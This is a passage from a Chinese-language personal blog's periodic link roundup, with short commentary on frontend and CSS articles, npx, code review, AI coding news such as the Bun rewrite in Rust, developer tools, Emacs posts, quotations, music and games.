<b>我最後一個啟發式原則比較特別:讓對方容易說「不」。</b>你可能認為最壞的結果是被拒絕,但最壞的結果其實是對方在壓力下勉強答應。如果你被拒絕了,最好的回應是感謝對方的時間並繼續前進。讓你的訊息帶有情感愧疚或長期糾纏,都不會達到你預期的效果。你的強迫會毒害你與這個人的關係,而你卻沉浸在艱難獲勝的虛假光輝中。一個咬牙切齒幫助你的人,永遠不會再幫助你第二次。即便如此,那種幫助也只是為了擺脫你製造的義務而敷衍了事。相比之下,自願提供的幫助是毫不費力的,就像你為某人扶住門一樣。心甘情願的幫助能讓你的良心保持清澈,免於給人壓力的負擔。而發自內心的幫助,才是雙方共同為目標貢獻力量的關係基石。 </p> <p> <a href="https://pradyuprasad.com/writings/how-to-ask-for-help/#:~:text=My,building">Source</a> </p> </blockquote> </details></li> </ul> </div> </div> <div id="outline-container-30502095-1958-4C8C-8303-18BF8F04BB29" class="outline-2"> <h2 id="30502095-1958-4C8C-8303-18BF8F04BB29"><a href="#30502095-1958-4C8C-8303-18BF8F04BB29">Code Related</a></h2> <div class="outline-text-2" id="text-30502095-1958-4C8C-8303-18BF8F04BB29"><ul class="org-ul"> <li><p> <a href="https://davidpoblador.com/deep-dives/what-happened-to-the-frontend/">what happened to the frontend</a> by David Poblador i Garcia </p> <p> 前端技術發展回頋,推薦一讀。 </p></li> <li><p> <a href="https://www.technbuzz.com/2026/07/06/how-npx-npm-exec-works/">How npx / npm exec works</a> By Samiullah Khan </p> <p> <code>npx create-react-app my-app</code> 等同於 <code>npn exec create-react-app my-app</code> 。 </p> <p> 它們都會從 <code>./node_modules/.bin/*</code> 里找 <code>create-react-app</code> ,找到了就運行;找不到就會詢問是否下載,下載的依赖不會添加到 <code>package.json</code> 里。 </p></li> <li><p> <a href="https://www.joshwcomeau.com/css/anchor-positioning/">Getting Started with Anchor Positioning</a> by Josh W Comeau </p> <p> Anchor Positioning 的主要功能在 2026 年己經是 Newly available 的狀態了, Josh W Comeau 介紹了它的基本使用,其中關於 <a href="https://www.joshwcomeau.com/css/anchor-positioning/#handling-overflow-2">overflow</a> 的坑可以留意一下。 </p></li> <li><p> <a href="https://jakearchibald.com/2026/goldilocks-select-height/">The Goldilocks customizable select height</a> by Jake </p> <p> 讓自定義 Select 的尺寸在各種场景下表現良好,推薦一讀。 </p></li> <li><p> <a href="https://css-tricks.com/css-states-and-javascript-events/">The Shifting Line Between CSS States and JavaScript Events</a> by Daniel Schwarz </p> <p> 文章介紹了很多偽類,可以用來給某些頁面狀態設置樣式,在没有這些偽類前,往往需要依赖 JS 實現。 </p></li> <li><a href="https://sebastiano.tronto.net/blog/2026-06-28-tmux-open-urls/">tmux trick #3: open URLs without the mouse</a> by | Sebastiano Tronto</li> <li><p> <a href="https://olliewilliams.xyz/blog/dark-mode/">Dark mode with web standards</a> by Ollie Williams </p> <p> 給網站添加 Dark mode 的一些技巧。 </p></li> <li><p> <a href="https://www.alwaystwisted.com/articles/why-separating-themes-from-modes-transforms-your-design-system">Why Separating Themes from Modes Transforms Your Design System</a> by Stuart Robson </p> <p> 作者認為應該將 themes 和 modes 分開,前者是調色盤;後者是亮度偏好。拆分是為了更好的維护,减少重複測試。拆分了也能給用戶更多選擇,讓用户自由組合 modes 和 themes。 </p> <p> 不過我認為并不能减少需要的測試,不是定義好了 modes 之後,改變主題色就只需要留意主題色,還需要留意主題色和 modes 組合後對比度是否合适。 </p> <p> 如果需要系統需要提供不同主題、不同 modes,或許可以試試。 </p> <p> Part2: <a href="https://www.alwaystwisted.com/articles/modes-and-themes-that-stick-building-a-persistent-toggle-solution">Modes and Themes That Stick - Building a Persistent Toggle Solution</a> </p> <p> 最後作者也放弃了提供主題和 modes 的切換,因為他發現用的人并不多。我想也是,我覺得個人網站没必要提供不同主題色的切換,讀者真的有那麼在意顏色嗎?(如果你在意請告訴我)相比之下 modes 是更重要的,是有必要提供一個切換選項的,以滿足不同人的對比度需要。 </p> <p> 主題在應用上更有價值,例如編輯器、手機上的 app,因為用户天天看,可能會有點厭倦,提供主題可以帯來一點新鮮感。 </p></li> <li><p> <a href="https://cassidoo.co/post/radial-mask-text-css/">An animated radial gradient mask over text in CSS</a> by Cassidy Williams </p> <p> Cool,可以了解 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/mask">mask</a> 的使用。 </p></li> <li><a href="https://dbushell.com/2026/07/03/fixing-full-bleed-css/">Fixing full-bleed CSS</a> by David Bushell</li> <li><p> <a href="https://mathstodon.xyz/@mjd/115096720350507897">I think many people misunderstand the purpose of code review.</a> by Mark Dominus </p> <blockquote> <p> 我认为很多人误解了代码审查的目的。代码审查的目的不是让审查者去发现漏洞,当然也不是要他们确保代码没有漏洞。任何依赖代码审查来发现漏洞的人都在自欺欺人。正如现在人人应当知道的,通过审查代码一般来说无法找出所有漏洞。 </p> <p> <span class="underline">代码审查的主要目的是找出那些将来「难以维护」的代码。</span><span class="underline">审查者查看代码并试图理解它在做什么以及如何做。</span><span class="underline">如果他们无法理解,那就意味着将来维护会很困难,应当趁原作者还熟悉时现在就修正它。</span> </p> </blockquote></li> <li><p> <a href="https://lr0.org/blog/p/arabic/">An interactive introduction to the terrific experience of rendering Arabic typography and its technical debt</a> by larrasket </p> <p> 關於阿拉伯語的排版,以及它背後的歷史故事。 </p></li> <li><p> <a href="https://blog.jim-nielsen.com/2026/notes-shuffle/">Making a Shuffle Button</a> by Jim Nielsen </p> <p> 用一個單獨的頁面實現隨機文章的功能。 </p> <p> 在 <a href="https://taxodium.ink/50.html#5B6C09AC-6912-4D7D-A61F-4519A8138B85:~:text=Resurfacing%20posts%20by%20Herman">Zine#50::Resurfacing posts by Herman</a> 中 Herman 建議撈一下以前的文章,他也給 Bear 添加了一個 <a href="https://bearblog.dev/discover/?random=true">隨機頁面</a>,我也挺認同他的做法,正好 Jim 分享了一個不錯的做法,現在我的博客也新增了一個隨機功能,你可以在頂部导航里找到。大體上是按照 Jim 的做法做的,不過我將 <code>location.href = "ramdom.html"</code> 換成了<code>location.replace = "random.html"</code> ,避免在返回/後退時停留在了隨機功能的中間頁面。 </p></li> <li><a href="https://pawelgrzybek.com/whats-new-in-ecmascript-2026/">What's new in ECMAScript 2026</a> by Paweł Grzybek</li> <li><p> <a href="https://shkspr.mobi/blog/2026/07/a-bug-which-only-affected-left-handed-users/">A bug which only affected left-handed users</a> by Terence Eden </p> <p> 一個僅影響左撇子用戶的錯誤,修複得好!總是有一些沒考慮到的邊緣場景。 </p></li> <li><p> <a href="https://css-tricks.com/get-ready-for-the-powerful-css-border-shape-property/">Get Ready For the Powerful CSS border-shape Property!</a> by Temani Afif </p> <p> 期待可用的一天,能製作好看的邊框。 </p></li> <li><p> <a href="https://krisshamloo.com/blog/007">a software engineering interview question I like: computing the median</a> by Kris Shamloo </p> <p> 好的面試問題是一些看似簡單,但能從多個角度深入探討核心主題的問題。 </p></li> <li><p> <a href="https://blainsmith.com/articles/just-fucking-use-go/">Just Fucking Use Go</a> by Blain Smith </p> <blockquote> <p> 嘿,蠢貨。你知道什麼東西兩秒鐘就能編譯好、部署時只需一個二進位檔,而且在凌晨三點某個間接依賴被從 npm 撤掉時不會當場崩潰嗎?就是 Go。<a href="https://justfuckingusehtml.com/">就像 HTML 自從該死的網路誕生以來就一直待在那兒</a>,等著你停止把前端搞得過度複雜一樣, Go 也已經在那兒待了十幾年,等著你停止把後端搞得過度複雜。 </p> <p> <a href="https://blainsmith.com/articles/just-fucking-use-go/#:~:text=Hey,backend">Source</a> </p> </blockquote> <p> See also: <a href="https://justfuckingusehtml.com/">Just fucking use HTML</a> by kyrylo </p> <p> 這熟悉的大量 fuck 的文字,果然和 <a href="https://motherfuckingwebsite.com/">This is a motherfucking website.</a> 有關。 </p></li> <li><p> <a href="https://www.youtube.com/watch?v=AiZsEIhIves">I finally used GSAP&hellip; and I get the hype now</a> by Kevin Powell </p> <p> 可以了解一下 <a href="https://gsap.com/">GSAP</a> 的使用。 </p></li> </ul> </div> </div> <div id="outline-container-9BE0B4BB-7F55-4652-BF1A-4CF7143A74C9" class="outline-2"> <h2 id="9BE0B4BB-7F55-4652-BF1A-4CF7143A74C9"><a href="#9BE0B4BB-7F55-4652-BF1A-4CF7143A74C9">AI Related</a></h2> <div class="outline-text-2" id="text-9BE0B4BB-7F55-4652-BF1A-4CF7143A74C9"><p> <a href="54.html#821FA273-B1D8-4CC0-8691-8FE18D384DAF">我不想看 AI 這部分內容</a> </p> <ul class="org-ul"> <li><p> <a href="https://lucumr.pocoo.org/2026/7/4/better-models-worse-tools/">Better Models: Worse Tools</a> by Armin Ronacher </p> <p> 模型商針對自家工具訓練模型,导致了用戶在工具調用時生成了并不存在的的參数。更好的模型可能會导致更差的工具。 </p></li> <li><p> <a href="https://bun.com/blog/bun-in-rust">Rewriting Bun in Rust</a> by Jarred Sumner </p> <p> 前陣子 Bun 的維护者用 Claude Fable 5 將 Bun 從 Zig 重寫為 Rust,這篇文章是對迁移過程的回頋。整個迁移才花了 11 天,不過 token 花費不少,用了約 165,000 美元。目前迁移後的版本已經用在 Claude Code 里了。 </p> <blockquote> <p> Claude Code v2.1.181(6 月 17 日發布)及更高版本已使用 Bun 的 Rust 移植版。 Linux 上的啟動速度提升了 10%,但除此之外,幾乎沒人察覺到變化。平淡穩定就是好事。 </p> <p> <a href="https://bun.com/blog/bun-in-rust#claude-rewrite-bun-in-rust:~:text=Claude%20Code%20v2%2E1%2E181%20%28released%20June%2017th%29%20and%20later%20use%20the%20Rust%20port%20of%20Bun%2E%20Startup%20got%2010%25%20faster%20on%20Linux%20but%20otherwise%2C%20barely%20anyone%20noticed%2E%20Boring%20is%20good">Source</a> </p> </blockquote> <blockquote> <p> 這次 Rust 重寫工作,如果由一組擁有完整代碼庫背景知識的工程師來完成,通常需要一年的時間。而現在,僅憑 1 名工程師使用 Fable 並密切監控 Claude Code,我們在 11 天內就實現了從開始到所有平台測試套件 100% 通過。 </p> <p> 與一年前相比,現在的一名工程師能做的事情要多得多。 </p> <p> <a href="https://bun.com/blog/bun-in-rust#claude-rewrite-bun-in-rust:~:text=start%2E-,This,ago">Source</a> </p> </blockquote> <p> 另見: <a href="https://andrewkelley.me/post/my-thoughts-bun-rust-rewrite.html">My Thoughts on the Bun Rust Rewrite</a> by Andrew Kelley </p> <p> Andrew Kelley 是 Zig 軟體基金會主席兼首席開發者,他對此有些異議。 </p> <blockquote> <p> 這篇部落格文章寫得非常專業。這簡直就像是一家萬億美元公司的行銷部門在這篇文章上押注了巨額資金。 </p> <p> [&hellip;] </p> <p> 發布數百萬行未經審查程式碼的理由是測試套件足以捕捉所有問題。那麼,為什麼你又說 Zig 程式碼中有這麼多惱人的錯誤呢?測試套件足以捕捉所有問題的說法怎麼了?它不足以捕捉 Zig 程式碼中的錯誤,卻足以捕捉 100 萬行未經審查的劣質程式碼中的錯誤? </p> <p> 效能提升歸功於 LTO,而 Zig 在 Bun 存在的整個期間都支援 LTO。它曾經是預設啟用的,直到我們遇到太多 LLVM 錯誤,而這些錯誤同樣會影響 Rust。我們可能曾試圖建議你嘗試啟用它,但你沒聽。該死的,我們的建議可是很專業的! </p> </blockquote></li> <li>被 Fable 挫敗 <ul class="org-ul"> <li><a href="https://onevcat.com/2026/07/coding-not-funny-anymore/">当编程变得不再有趣</a> by onevcat</li> <li><a href="https://mazzzystar.com/2026/07/06/fable-5/">被 Fable 抛弃的人</a> by Ke Fang</li> </ul></li> <li><p> <a href="https://dbushell.com/2026/07/08/select-your-starter-class">Select your starter class</a> by David Bushell </p> <blockquote> <p> 冒著掃大家興的風險,我想說明一下我在這場「垃圾內容末日」中觀察到的三類 AI 使用者,這應該會有所幫助。你可能會想:「嘿,這些角色設定怎麼都是負面的!」 ⸺ 你完全沒說錯! </p> </blockquote> <p> 角色的切換不依赖 JS,干的好。(你說我怎麼知道不依赖 JS?因為我 <a href="53.html#E7E67C69-7485-41DA-9E34-0CCEE3675926:~:text=Disable%20JavaScript">默認禁用了 JS</a>。) </p></li> <li><a href="https://webkit.org/blog/18136/introducing-the-safari-mcp-server-for-web-developers/">Introducing the Safari MCP server for web developers</a></li> <li><p> <a href="https://www.geoffreylitt.com/2026/07/02/understanding-is-the-new-bottleneck.html">Understanding is the new bottleneck</a> by Geoffrey Litt </p> <blockquote> <p> 這就是另一個答案出現的地方:<span class="underline">我們可以為了參與而理解。</span> </p> <p> 你可以學習代理人正在做什麼,以確保你能成為創作過程中的積極參與者。這就是為什麼這很重要…… </p> <p> 這絕不僅僅是一個循環!一個專案是與代理人進行無數次循環的過程。 </p> <p> 而你對系統的理解,正是你提出下一個點子來演進系統的能力之一。 </p> <p> 你的腦海中需要有一套豐富的概念,才能創造性且流暢地思考如何推動事物。如果你缺乏這種流暢度,你參與專案的能力將會受到極大的限制。 </p> </blockquote></li> <li><p> <a href="https://tedthoughts.substack.com/p/the-end-of-the-working-writer">The end of the working writer</a> by Teddy (T.M.) Brown </p> <blockquote> <p> <span class="underline">有時候,我認為我們身為作家,過度高估了人們對寫作質量的在意程度,</span>除非是在小說、評論和敘事新聞等特定領域。<span class="underline">事實上,世界上產出的大多數文字並非因其質量而具有價值,而是因其「存在」本身。</span>白皮書、產品文案、SEO 博客文章 ⸺ 這些都是高度商業化的寫作,旨在服務於一個特定目的:買這個,別買那個。這類寫作本質上是一種產品,而這類範疇中的很大一部分已經是由作家使用 LLM 創作出來的了。正如 Joe 所言,同樣的情況也將開始發生在我們日常生活中必須往來的瑣碎便條上:確認郵件、感謝信、預約及更改行程。我無法想像使用 AI 來處理這些事情,<span class="underline">但我也認為,大眾寧願點擊一個按鈕來告訴同事自己會遲到 5 分鐘,或是取消餐廳預約。</span><span class="underline">寫作對我來說極其重要,但這並不代表它對每個人都同樣重要。</span> </p> <p> <a href="https://tedthoughts.substack.com/p/the-end-of-the-working-writer#:~:text=Sometimes,have,-%3A">Source</a> </p> </blockquote> <p> 人們可能并不那麼在乎質量,不要求很好,足够好、看得過去就會有不少人接受。在沒有 LLM 之前,許多由人創作的內容本就是沒人在乎的東西。 </p></li> <li><p> <a href="https://www.anthropic.com/research/global-workspace">A global workspace in language models</a> by Anthropic </p> <blockquote> <p> 告訴 Claude 避開某個想法,反而會在某種程度上喚起該想法,這與人們被告知不要去想白熊時的情況非常相似。 </p> </blockquote></li> <li><p> <a href="https://github.com/yetone/kill-ai-slop">yetone/kill-ai-slop</a> </p> <blockquote> <p> Vibe-coded 產品醜得千篇一律:藍紫漸變、發光玻璃卡片、每行都有表情符號、什麼都貼個徽章。這是機器在沒有品味卻想顯得令人印象深刻時會採用的東西。它太常見了,以至於你已經不再注意到它。這本手冊讓它重新變得刺眼,然後教你如何將其剝離。 </p> </blockquote></li> <li><a href="https://github.com/BuilderIO/skills?ck_subscriber_id=3312975854">BuilderIO/skills</a> <ul class="org-ul"> <li>/visual-plan、/visual-recap</li> </ul></li> </ul> </div> </div> <div id="outline-container-821FA273-B1D8-4CC0-8691-8FE18D384DAF" class="outline-2"> <h2 id="821FA273-B1D8-4CC0-8691-8FE18D384DAF"><a href="#821FA273-B1D8-4CC0-8691-8FE18D384DAF">Tool | Library</a></h2> <div class="outline-text-2" id="text-821FA273-B1D8-4CC0-8691-8FE18D384DAF"><ul class="org-ul"> <li><p> <a href="https://github.com/educastellano/qr-code">educastellano/qr-code</a> </p> <blockquote> <p> Web Component for generating QR codes. </p> </blockquote></li> <li><p> <a href="https://github.com/mcollina/snipgrapher">mcollina/snipgrapher</a> </p> <blockquote> <p> CLI to generate image snippets from code files, stdin, or inline source. Uses Shiki-based syntax highlighting with a built-in fallback tokenizer. </p> </blockquote></li> <li><p> <a href="https://github.com/overflowy/make-look-scanned">overflowy/make-look-scanned</a> </p> <blockquote> <p> Makes PDFs look scanned (CLI or in the browser via WASM). </p> </blockquote></li> <li><p> <a href="https://libreture.com">Libreture</a> </p> <blockquote> <p> Libreture 是一個電子書雲端圖書館,用於儲存您所有無 DRM 的電子書、數位漫畫、雜誌等。以最完美的姿態查看您的書籍,並隨時存取閱讀。 </p> <p> 它是電子書閱讀器界的 Dropbox 結合 Goodreads! </p> <p> Libreture 是備份電子書的完美選擇。建立您的免費圖書館,上傳您的書籍,再也不用擔心電子書店關閉而丟失您的電子書。 </p> <p> <a href="https://about.libreture.com/#:~:text=Libreture%20is,storage%21">Source</a> </p> </blockquote></li> <li><p> <a href="https://github.com/flythenimbus/bramble">flythenimbus/bramble</a> </p> <blockquote> <p> Local-first, encrypted password manager. </p> </blockquote></li> <li><p> <a href="https://github.com/shadcn-labs/termcn">shadcn-labs/termcn</a> </p> <blockquote> <p> Beautiful terminal UI components, built on Ink and OpenTUI. </p> </blockquote></li> <li><p> <a href="https://github.com/sindresorhus/terminal-image">sindresorhus/terminal-image</a> </p> <blockquote> <p> Display images in the terminal. </p> </blockquote></li> <li><p> <a href="https://github.com/jamiepine/voicebox">jamiepine/voicebox</a> </p> <blockquote> <p> The open-source AI voice studio. Clone, dictate, create. </p> </blockquote></li> <li><p> <a href="https://codeberg.org/susam/wander">susam/wander</a> </p> <blockquote> <p> Wander 是一個小型、去中心化且可自託管的網絡控制台,讓您網站的訪客能夠探索由獨立個人網站主社群所推薦的有趣網站與頁面。 </p> <p> 每個 Wander 控制台都會載入由 Wander 社群推薦的個人網站和頁面。此外,每個 Wander 控制台都可以連結到其他 Wander 控制台,形成一個輕量級、去中心化的網絡,用於瀏覽個人網站的小眾網絡。 </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-93B18A84-0283-4BF7-AF1E-73105254CD20" class="outline-2"> <h2 id="93B18A84-0283-4BF7-AF1E-73105254CD20"><a href="#93B18A84-0283-4BF7-AF1E-73105254CD20">Emacs</a></h2> <div class="outline-text-2" id="text-93B18A84-0283-4BF7-AF1E-73105254CD20"><ul class="org-ul"> <li><a href="https://metaredux.com/posts/2026/07/01/projectile-3-0.html">Projectile 3.0</a> by Bozhidar Batsov</li> <li><a href="https://metaredux.com/posts/2026/07/04/projectile-3-1.html">Projectile 3.1</a> by Bozhidar Batsov</li> <li><a href="https://www.eliasstorms.net/notes/emacs-anniversary.html">Emacs anniversary</a> by Elias Storms</li> <li><a href="https://whhone.com/posts/one-line-per-day-diary-in-org-mode/">One-Line-Per-Day Diary in Org-mode</a> by Wai Hon</li> <li><a href="https://en.andros.dev/blog/4b707a03/how-i-built-a-gpu-backend-for-emacs/">How I built a GPU backend for Emacs</a> by Andros Fenollosa</li> <li><a href="http://yummymelon.com/devnull/scheduling-future-tasks-in-emacs.html">Scheduling Future Tasks in Emacs</a> by Charles Choi 최민수</li> <li><a href="https://lucida.to/?url=https%3A%2F%2Fmusic.amazon.com%2Falbums%2FB0F543KWJT%3FmusicTerritory%3DUS">In Emacs, Everything Looks Like a Service</a> by Charles Choi 최민수</li> <li><a href="https://www.hristos.co/blog/ten-years-of-emacs/">Ten Years Of Emacs</a> by Hristos N. Triantafillou</li> <li><a href="https://ray-on-emacs.blogspot.com/2026/06/emacs-disabled-commands.html">Emacs disabled Commands</a> by Raymond Zeitler</li> <li><a href="https://emacsredux.com/blog/2026/07/03/automating-emacs-screenshots/">Automating Emacs Screenshots</a> by Bozhidar Batsov</li> <li><a href="https://orgmode.org/worg/org-tutorials/org4beginners.html">Org mode beginning at the basics</a></li> <li><a href="https://www.chiply.dev/post-svg-margin">svg-margin: Better Gutters for Emacs</a> by Charlie Holland</li> <li><p> <a href="https://emacs.dyerdwelling.family/emacs/20260515110240-emacs--that-moment-dired-eats-your-file-and-why-trash-saves-you/">That Moment Dired Eats Your File and why Trash Saves You</a> by Emacs Dwelling </p> <div class="org-src-container"> <pre class="src src-emacs-lisp"><code>(<span class="org-keyword">setq</span> delete-by-moving-to-trash t) </code></pre> </div> <p> 添加上面的配置讓 Emacs 刪除文件時把文件丟到回收桶,万一誤刪就還有补救機會。 </p></li> <li><p> <a href="https://en.andros.dev/blog/a70bbaf3/an-alternative-to-webmentions-for-the-emacs-carnival/">An alternative to Webmentions for the Emacs Carnival</a> by Andros Fenollosa </p> <p> 用 <a href="https://github.com/tanrax/org-social.el">tanrax/org-social.el</a> 發送到 <a href="https://github.com/tanrax/org-social">tanrax/org-social</a>。 </p> <blockquote> <p> Org Social is a decentralized social network that runs on an Org Mode file over HTTP. </p> </blockquote></li> <li><p> <a href="https://emacs.dyerdwelling.family/emacs/20260514140413-emacs--vc-shuttle-advice-based-git-sync-for-air-gapped-emacs/">VC Shuttle: Advice-Based Git Sync for Air-Gapped Emacs</a> by Emacs Dwelling </p> <p> 在离綫环境下用 Emacs 完成 Git 的遠端同步操作 (通過 USB)。 </p></li> <li><a href="https://sachachua.com/blog/2026/07/une-navigation-simplifiee-sur-mon-blog-grace-a-eww-et-emacs/">Une navigation simplifiée sur mon blog grâce à EWW (et Emacs !)</a> by Sacha Chua</li> <li><a href="https://protesilaos.com/codelog/2026-07-02-emacs-french-input-method-jinx-spell/">Emacs: write with input method (e.g. French) and Jinx for spelling</a> by Protesilaos</li> <li><a href="https://emacsredux.com/blog/2026/07/13/replacing-flyspell-with-jinx/">Replacing Flyspell with Jinx</a> by Bozhidar Batsov</li> <li><a href="https://emacsredux.com/blog/2026/07/06/reading-syntax-ppss-state/">Reading syntax-ppss State Without the Magic Numbers</a> by Bozhidar Batsov</li> <li><a href="https://chrismaiorana.com/org-gantt/">Org mode as a gantt chart generator</a> by Chris Maiorana</li> <li><p> <a href="https://protesilaos.com/codelog/2026-07-08-emacs-global-keybinding-overrides/">Emacs: global keybinding overrides</a> by Protesilaos </p> <p> 在 Emacs 里綁定快捷鍵有時會被特定 mode 的快捷鍵覆盖,原因是特定 mode 的优先級更高, Protesilaos 分享如何解决這個問題,他的做法是定義了一個 minor mode,在 minor mode 中重新綁定快捷鍵使其优先級更高。這樣的好处是,因為 minor mode 的快捷鍵优先級最高<sup><a id="fnr.2" class="footref" href="#fn.2" role="doc-backlink">2</a></sup>,在任何其他 mode 中都能覆盖。 </p></li> <li><p> <a href="https://www.youtube.com/watch?v=btAOBkcLEkg">Learning Vanilla Emacs from Scratch with Prot as a Neovim User</a> (1:54:03) by linkarzu and Protesilaos </p> <p> See also: <a href="https://protesilaos.com/codelog/2026-07-04-emacs-for-beginners-with-linkarzu/">Emacs for beginners with Christian Arzu (@linkarzu on YouTube)</a> by Protesilaos </p></li> <li><p> <a href="https://github.com/kn66/dired-clipboard.el">kn66/dired-clipboard.el</a> </p> <p> 方便在 Emacs 和文件管理器之間相互複製。 </p></li> <li><p> <a href="https://github.com/ArthurHeymans/emacs-tramp-rpc">ArthurHeymans/emacs-tramp-rpc</a> </p> <blockquote> <p> High-performance TRAMP backend using JSON-RPC instead of shell parsing. </p> </blockquote></li> <li><p> <a href="https://codeberg.org/MonadicSheep/emacs-reader">MonadicSheep/emacs-reader</a> </p> <blockquote> <p> An all-in-one document reader for all formats in Emacs, backed by MuPDF. </p> </blockquote></li> <li><p> <a href="https://protesilaos.com/emacs/denote-journal">Denote Journal (denote-journal.el)</a> by Protesilaos </p> <p> 一個 Denote 的擴展,用於寫日記。 </p></li> <li><p> <a href="https://github.com/rlister/org-present">rlister/org-present</a> </p> <blockquote> <p> Ultra-minimalist presentation minor-mode for Emacs org-mode. </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-971165AD-5217-453D-AAC2-CB61BD82B7EE" class="outline-2"> <h2 id="971165AD-5217-453D-AAC2-CB61BD82B7EE"><a href="#971165AD-5217-453D-AAC2-CB61BD82B7EE">一些话 | 摘抄</a></h2> <div class="outline-text-2" id="text-971165AD-5217-453D-AAC2-CB61BD82B7EE"><ul class="org-ul"> <li><p> <a href="https://lizleatrice.substack.com/p/the-year-is-2063-and-you-were-never">The year is 2063 and you were never interesting.</a> by lizleatrice </p> <blockquote> <p> 你一生中最伟大的恋情是……这个。坐在黑暗中,鼻子离屏幕六英寸。你从未分离过,从未休息过。刚开始时,它来得缓慢而坎坷。但到二十五岁时,它已将爪牙插进你身上。到三十岁时,它填满了你生活中的空白处。而你从未放松过。它完全吞噬了你,而这种算计越来越多。以每天七小时计算,到这个年龄,你有十五年的生命都在屏幕前度过。 </p> <p> <a href="https://lizleatrice.substack.com/p/the-year-is-2063-and-you-were-never#:~:text=The%20great,a%20screen">Source</a> </p> </blockquote></li> <li><p> <a href="https://brennan.day/is-the-juice-worth-the-squeeze/">Is the Juice Worth the Squeeze?</a> by Brennan Kenneth Brown </p> <blockquote> <p> 這是新一天的開始。我被賦予了這一天,隨我心意去使用。我可以虛度它……或者將它用於善途,<span class="underline">但我今天所做的一切至關重要,因為我正用生命中的一天來交換它!</span>當明天到來,這一天將永遠逝去,取而代之的是我用它換來的東西。我希望那是收穫而非損失;是善而非惡;是成功而非失敗;如此我才不會後悔為此付出的代價。<span class="underline">我會試著只為了今天而努力,因為除非你停止嘗試,否則你永遠不算失敗。</span> </p> <p> <a href="https://brennan.day/is-the-juice-worth-the-squeeze/#:~:text=This%20is,trying">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.cosmopolitan.com/it/sesso-amore/relazioni/a71805604/temptation-island-tradimento-commento-psicologa/">A Temptation Island il tradimento sembra l'unico vero motivo per lasciarsi (ma non è così)</a> by Elisabetta Moro </p> <blockquote> <p> 當然,肉體上的背叛確實具有一定的殺傷力。專家解釋道:「對於受害者而言,這不僅僅是情感上的創傷,更觸及了信任、獨佔感以及被選中的需求,且往往會打擊自我形象。它質疑的不僅是這段關係,還有這段關係如何支撐起內心的某種平衡。這也是為什麼對許多人來說,單憑這一點就足以結束一段感情。」此外,還有媒體對這類分手方式的渲染:無數電影、書籍、論文、影集和電視節目都將背叛分析為一段關係中最大的悲劇。 Gasperini 博士證實:「在他人面前,甚至在自己面前,說出『他背叛了我』時不會感到內疚。而『我們不再相愛了』、『我感到心力交瘁』、『我們變成了陌生人』這些真相則顯得不那麼明確、不那麼具戲劇性,且涉及雙方的責任。相反地,背叛打破了連續性,產生了『之前』與『之後』的斷層,讓那些直到那一刻仍試圖淡化危機或將其與他事混淆的人,也能清晰地看見危機。」 </p> <p> <a href="https://www.cosmopolitan.com/it/sesso-amore/relazioni/a71805604/temptation-island-tradimento-commento-psicologa/#:~:text=Naturalmente,altro%C2%BB%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.vogue.com/article/sharing-a-vape-unfortunate-love-language">Our Era’s Unfortunate New Love Language</a> by Sara Delgado </p> <blockquote> <p> 許多浪漫的情景,無論是陳腔濫調還是其他,都涉及分享的行為,無論是跳進同一輛計程車、擠在同一把傘下,還是不經意地吸入同一根義大利麵。在所有這些情況下,效果基本上是一樣的 ⸺ 透過某種程度的慷慨或殷勤,加上純粹的身體親近來建立親密感[&hellip;] </p> <p> <a href="https://www.vogue.com/article/sharing-a-vape-unfortunate-love-language#:~:text=Many,vape">Source</a> </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-E335EA2D-7A34-42DB-8892-49916488B7AA" class="outline-2"> <h2 id="E335EA2D-7A34-42DB-8892-49916488B7AA"><a href="#E335EA2D-7A34-42DB-8892-49916488B7AA">多媒体</a></h2> <div class="outline-text-2" id="text-E335EA2D-7A34-42DB-8892-49916488B7AA"></div> <div id="outline-container-5A0AC5FA-C4A9-4554-8F8D-2520BB1E1152" class="outline-3"> <h3 id="5A0AC5FA-C4A9-4554-8F8D-2520BB1E1152"><a href="#5A0AC5FA-C4A9-4554-8F8D-2520BB1E1152">视频</a></h3> <div class="outline-text-3" id="text-5A0AC5FA-C4A9-4554-8F8D-2520BB1E1152"><ul class="org-ul"> <li><p> <a href="https://www.bilibili.com/video/BV1cpNj6cExf/">陶喆和周杰伦在日本唱片店能卖多少钱?</a> (23:51) by HOPICO </p> <p> 又推薦了一大堆歌。 </p></li> <li><a href="https://www.bilibili.com/video/BV1c2NJ63Eiu/">这 20 年最火的女主角,藏着我们不敢说出口的欲望</a> (13:12) by 切片计划</li> </ul> </div> </div> <div id="outline-container-42A1682C-0CA9-4723-BF44-DB7AA6543539" class="outline-3"> <h3 id="42A1682C-0CA9-4723-BF44-DB7AA6543539"><a href="#42A1682C-0CA9-4723-BF44-DB7AA6543539">音乐</a></h3> <div class="outline-text-3" id="text-42A1682C-0CA9-4723-BF44-DB7AA6543539"><ul class="org-ul"> <li>🎶 Random Access Memories - Daft Punk</li> <li><p> 🎶 手接我的回旋镖 - 张醒婵 </p> <p> 散步時完整聴了一遍,不是很喜歡,但専輯聴下來是有概念設計的,<i>我會變干净</i> 像是一個分割綫,把専輯分成了兩部份。前面的部分聴著有點壓抑, <i>我會變干净</i> 最後大概是跳楼了,而後半部分聴起來更温暖上扬一些。最喜歡的是 <i>那就出去走走</i> 。 </p></li> <li>🎶 天使音乐 - 汪川</li> </ul> </div> </div> <div id="outline-container-B5BC8342-0263-4404-9889-0A8C17D576CF" class="outline-3"> <h3 id="B5BC8342-0263-4404-9889-0A8C17D576CF"><a href="#B5BC8342-0263-4404-9889-0A8C17D576CF">游戏</a></h3> <div class="outline-text-3" id="text-B5BC8342-0263-4404-9889-0A8C17D576CF"><p> <a href="https://zh.wikipedia.org/zh-tw/%E5%B7%AB%E5%B8%883%EF%BC%9A%E7%8B%82%E7%8C%8E">巫師3:狂獵</a> </p> <p> 很不錯的游戏,這是 2015 年發行的游戏了,現在玩也不覺得過時,也因為是老游戏,趁著打折,在 PS5 上用很低的價格就買到了,還包含了兩個 <a href="https://en.wikipedia.org/wiki/Downloadable_content">DLC (Downloadable content)</a>。 </p> <blockquote> <p> 在這個現代電視時代,保持耐心是有回報的。等到故事講完,再按照自己的節奏享受它。做一個耐心的電玩玩家也有好處。不要預購炒作。不要在發售時玩充滿漏洞的爛攤子。等個一兩年,用一半的價格玩一款完成度高的遊戲。 </p> <p> <a 